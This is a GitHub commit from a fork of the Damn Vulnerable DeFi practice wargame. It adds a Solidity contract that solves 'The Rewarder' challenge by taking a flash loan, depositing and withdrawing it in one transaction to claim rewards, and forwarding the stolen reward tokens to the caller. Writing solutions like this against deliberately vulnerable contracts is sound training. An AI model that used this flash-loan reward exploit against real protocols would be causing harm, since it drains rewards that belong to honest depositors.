forked from theredguild/damn-vulnerable-defi
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
43 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.8.0; | ||
|
||
import "../DamnValuableToken.sol"; | ||
import "./FlashLoanerPool.sol"; | ||
import "./TheRewarderPool.sol"; | ||
import "hardhat/console.sol"; | ||
import { RewardToken } from "./RewardToken.sol"; | ||
|
||
contract TheRewarderAttacker { | ||
|
||
FlashLoanerPool flashLoanerPool; | ||
TheRewarderPool rewarderPool; | ||
|
||
constructor(address _flashLoanerPool, address _rewarderPool) { | ||
flashLoanerPool = FlashLoanerPool(_flashLoanerPool); | ||
rewarderPool = TheRewarderPool(_rewarderPool); | ||
} | ||
|
||
function attack() public { | ||
flashLoanerPool.flashLoan(1000000 ether); | ||
RewardToken rewardToken = rewarderPool.rewardToken(); | ||
rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this))); | ||
} | ||
|
||
function receiveFlashLoan(uint256 amount) public { | ||
DamnValuableToken liquidityToken = flashLoanerPool.liquidityToken(); | ||
// Receive flashloan -> deposit to rewarder pool -> withdraw from rewarder pool -> return flashloan. | ||
liquidityToken.approve(address(rewarderPool), amount); | ||
rewarderPool.deposit(amount); | ||
rewarderPool.withdraw(amount); | ||
liquidityToken.transfer(address(flashLoanerPool), amount); | ||
} | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters